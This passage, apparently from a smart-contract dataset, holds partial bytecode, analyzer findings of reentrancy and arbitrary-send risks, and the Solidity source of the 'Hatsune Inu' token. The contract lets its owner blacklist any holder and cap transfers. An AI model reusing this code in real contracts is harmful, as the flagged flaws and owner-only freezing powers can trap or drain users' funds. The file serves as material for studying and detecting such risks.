ffffff8211156131c4576131c36134e0565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006132358261337d565b91506132408361337d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561327557613274613453565b5b828201905092915050565b600061328b8261337d565b91506132968361337d565b9250826132a6576132a5613482565b5b828204905092915050565b60006132bc8261337d565b91506132c78361337d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613300576132ff613453565b5b828202905092915050565b60006133168261337d565b91506133218361337d565b92508282101561333457613333613453565b5b828203905092915050565b600061334a8261335d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061339f8261337d565b9050919050565b60005b838110156133c45780820151818401526020810190506133a9565b838111156133d3576000848401525b50505050565b6133e282613523565b810181811067ffffffffffffffff82111715613401576134006134e0565b5b80604052505050565b60006134158261337d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561344857613447613453565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f436f6f6c646f776e000000000000000000000000000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61380a8161333f565b811461381557600080fd5b50565b61382181613351565b811461382c57600080fd5b50565b6138388161337d565b811461384357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208657507f1b9be13b3ec5fc1570f55b8fc215841ad0930ff657365c4e96a9fb1d64736f6c63430008050033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,679 |
0x7e8aca36996edb97568658efab40f35a60dbe981 | /**
*Submitted for verification at Etherscan.io on 2021-07-08
*/
/*
https://t.me/hatsuneinuofficial
https://twitter.com/HatsuneInu
*/
//SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract HatsuneInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1 *10**12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Hatsune Inu";
string private constant _symbol = 'HINU';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
if(cooldownEnabled){
require(cooldown[from] < block.timestamp - (360 seconds));
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(10).mul(8));
_marketingWalletAddress.transfer(amount.div(10).mul(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280600b81526020017f48617473756e6520496e75000000000000000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613dbc60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123089092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf816123c8565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124e9565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f48494e5500000000000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e8161256d565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea0000061285790919063ffffffff16565b6128dd90919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613e326024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613d796022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffff